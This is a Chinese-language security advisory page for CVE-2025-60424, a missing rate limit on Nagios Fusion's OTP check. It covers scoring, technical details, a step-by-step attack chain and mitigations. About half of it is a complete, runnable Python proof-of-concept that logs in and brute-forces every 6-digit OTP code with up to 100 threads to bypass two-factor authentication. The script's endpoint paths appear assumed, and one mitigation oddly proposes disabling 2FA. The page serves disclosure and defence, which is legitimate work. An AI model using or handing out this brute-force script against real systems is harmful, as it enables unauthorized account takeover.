IPBUF安全漏洞报告
English
CVE-2025-60424 CVSS 7.6 高危

CVE-2025-60424: Nagios Fusion OTP验证组件缺少速率限制导致暴力破解绕过认证

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-60424
漏洞类型
缺少速率限制/认证绕过/暴力攻击
CVSS评分
7.6 高危
攻击向量
邻接 (AV:A)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Nagios Fusion

相关标签

CVE-2025-60424缺少速率限制认证绕过暴力攻击OTP绕过双因素认证绕过Nagios Fusion高危漏洞邻接网络攻击低权限攻击

漏洞概述

CVE-2025-60424是Nagios Fusion产品中的一个高危安全漏洞。该漏洞存在于OTP(一次性密码)验证组件中,由于缺少适当的速率限制(Rate Limiting)机制,攻击者可以对该组件发起暴力破解攻击,从而绕过双因素认证(2FA)并获得未授权访问权限。漏洞影响Nagios Fusion的v2024R1.2和v2024R2两个版本。攻击者只需具备低权限账户即可发起攻击,且无需用户交互配合。CVSS 3.1评分达到7.6,属于高危级别。机密性和完整性影响均为高,仅可用性影响为低。该漏洞由[email protected]于2025年10月27日披露。攻击者利用该漏洞可以绕过OTP验证机制,成功登录目标账户,进而可能访问敏感监控数据、配置信息,甚至在某些情况下执行进一步的攻击活动。

技术细节

该漏洞的核心问题在于Nagios Fusion的OTP验证功能缺乏速率限制保护。OTP(一次性密码)通常是双因素认证的第二层安全验证,通常为6位数字验证码,理论上有100万种组合(000000-999999)。在正常情况下,即使使用自动化工具暴力破解,也需要相当长的时间。然而,由于缺少速率限制,攻击者可以在短时间内发送大量OTP尝试请求,快速遍历可能的验证码组合。具体攻击过程如下:攻击者首先获取目标系统的低权限账户凭据并登录系统,然后访问OTP验证页面。通过编写自动化脚本或使用专门的暴力破解工具(如Burp Suite Intruder),攻击者可以快速发送大量POST请求,每个请求尝试不同的OTP验证码。由于服务器端没有对验证尝试频率进行限制,攻击者可以在几分钟到几小时内成功猜解出正确的OTP。一旦OTP验证通过,攻击者即可完全绕过双因素认证,以该低权限账户的身份登录系统主界面,进而可能利用其他漏洞或配置缺陷进行权限提升或数据窃取。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先获取目标Nagios Fusion系统的访问权限,包括有效的用户名和密码凭据(低权限账户即可)
STEP 2
步骤2
初始认证:使用获取的凭据登录Nagios Fusion系统,触发OTP双因素认证流程
STEP 3
步骤3
OTP页面访问:导航至OTP验证码验证页面,建立OTP验证会话
STEP 4
步骤4
暴力破解攻击:由于OTP验证组件缺少速率限制机制,攻击者使用自动化工具(如Burp Suite Intruder或自定义脚本)快速发送大量POST请求,尝试不同的6位OTP验证码
STEP 5
步骤5
验证码猜解:自动化工具在短时间内(可能几分钟到几小时)遍历100万种可能的OTP组合,最终找到正确的验证码
STEP 6
步骤6
认证绕过:成功验证OTP后,攻击者完全绕过双因素认证,以该低权限账户身份登录系统主界面
STEP 7
步骤7
权限滥用/后续攻击:攻击者利用已获得的访问权限,访问敏感监控数据、配置信息,或寻找进一步提权的机会

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-60424 PoC - Nagios Fusion OTP Bypass via Brute Force Attack Note: This PoC is for educational and authorized testing purposes only. Author: Based on research by aakashtyal """ import requests import sys import itertools from concurrent.futures import ThreadPoolExecutor, as_completed import string import time class NagiosFusionOTPBypass: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.authenticated = False self.otp_session_token = None def login(self): """Step 1: Authenticate with username and password""" login_url = f"{self.target_url}/nagiosfusion/api/login" data = { 'username': self.username, 'password': self.password } try: response = self.session.post(login_url, data=data, timeout=30) if response.status_code == 200: result = response.json() if result.get('success'): self.authenticated = True return True except Exception as e: print(f"[-] Login failed: {e}") return False def get_otp_page(self): """Step 2: Navigate to OTP verification page to establish session""" otp_url = f"{self.target_url}/nagiosfusion/otp/verify" try: response = self.session.get(otp_url, timeout=30) if response.status_code == 200: # Extract OTP session token if present in response if 'otp_session' in response.text or 'request_key' in response.text: self.otp_session_token = self.extract_token(response.text) return True except Exception as e: print(f"[-] OTP page access failed: {e}") return False def extract_token(self, html_content): """Extract CSRF or session token from HTML""" import re patterns = [ r'otp_session[\s]*=[\s]*["\']([a-zA-Z0-9]+)["\']', r'request_key[\s]*=[\s]*["\']([a-zA-Z0-9]+)["\']', r'name=["\']csrf_token["\'][\s]+value=["\']([a-zA-Z0-9]+)["\']' ] for pattern in patterns: match = re.search(pattern, html_content) if match: return match.group(1) return None def try_otp(self, otp_code): """Step 3: Try a single OTP code - NO RATE LIMITING VULNERABILITY""" otp_verify_url = f"{self.target_url}/nagiosfusion/api/otp/verify" data = { 'otp_code': otp_code, 'session_key': self.otp_session_token or '' } try: # No rate limiting allows rapid-fire requests response = self.session.post(otp_verify_url, data=data, timeout=10) if response.status_code == 200: result = response.json() if result.get('success') or result.get('verified'): return True, otp_code return False, otp_code except: return False, otp_code def brute_force_otp(self, max_attempts=1000000, threads=50): """ Step 4: Brute force OTP codes Since there's NO RATE LIMITING, we can try all combinations rapidly """ print(f"[*] Starting OTP brute force attack (6-digit codes)") print(f"[*] Using {threads} threads for parallel requests") print(f"[*] Target: {self.target_url}") start_time = time.time() attempts = 0 # Generate all 6-digit OTP combinations for i in range(0, min(max_attempts, 1000000), 10000): otp_batch = [f'{j:06d}' for j in range(i, min(i + 10000, max_attempts))] with ThreadPoolExecutor(max_workers=threads) as executor: futures = {executor.submit(self.try_otp, otp): otp for otp in otp_batch} for future in as_completed(futures): attempts += 1 success, code = future.result() if success: elapsed = time.time() - start_time print(f"\n[+] SUCCESS! OTP found: {code}") print(f"[+] Attempts: {attempts}") print(f"[+] Time elapsed: {elapsed:.2f} seconds") return True, code if attempts % 10000 == 0: elapsed = time.time() - start_time rate = attempts / elapsed if elapsed > 0 else 0 print(f"[*] Progress: {attempts} attempts, {rate:.1f} req/s") return False, None def main(): if len(sys.argv) < 4: print("Usage: python3 cve-2025-60424-poc.py <target_url> <username> <password>") print("Example: python3 cve-2025-60424-poc.py https://nagios-fusion.local admin password123") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] print("=" * 60) print("CVE-2025-60424 - Nagios Fusion OTP Bypass PoC") print("=" * 60) exploit = NagiosFusionOTPBypass(target, username, password) # Step 1: Login with valid credentials print("\n[Step 1] Authenticating with provided credentials...") if not exploit.login(): print("[-] Failed to authenticate. Check credentials.") sys.exit(1) print("[+] Successfully authenticated") # Step 2: Access OTP page print("\n[Step 2] Accessing OTP verification page...") if not exploit.get_otp_page(): print("[-] Failed to access OTP page") sys.exit(1) print("[+] OTP page accessed") # Step 3 & 4: Brute force OTP print("\n[Step 3] Starting OTP brute force attack...") print("[!] WARNING: This is a proof-of-concept for authorized testing only") print("[!] Vulnerability: No rate limiting on OTP verification endpoint") success, otp = exploit.brute_force_otp(max_attempts=1000000, threads=100) if success: print("\n" + "=" * 60) print("[!] 2FA BYPASSED - Authentication Complete") print(f"[!] Valid OTP: {otp}") print("=" * 60) else: print("\n[-] OTP not found within attempt limit") if __name__ == "__main__": main()

影响范围

Nagios Fusion v2024R1.2
Nagios Fusion v2024R2

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)限制低权限账户的使用,防止攻击者轻易获取初始凭据;2)在反向代理或负载均衡器层面实施速率限制,限制OTP验证端点的请求频率;3)启用异常登录检测和告警,及时发现暴力破解行为;4)考虑暂时禁用OTP双因素认证,改用其他认证方式(如硬件令牌),但需评估安全风险;5)实施IP黑名单机制,封锁已知攻击源;6)加强密码策略,确保账户凭据的复杂度和唯一性。

参考链接

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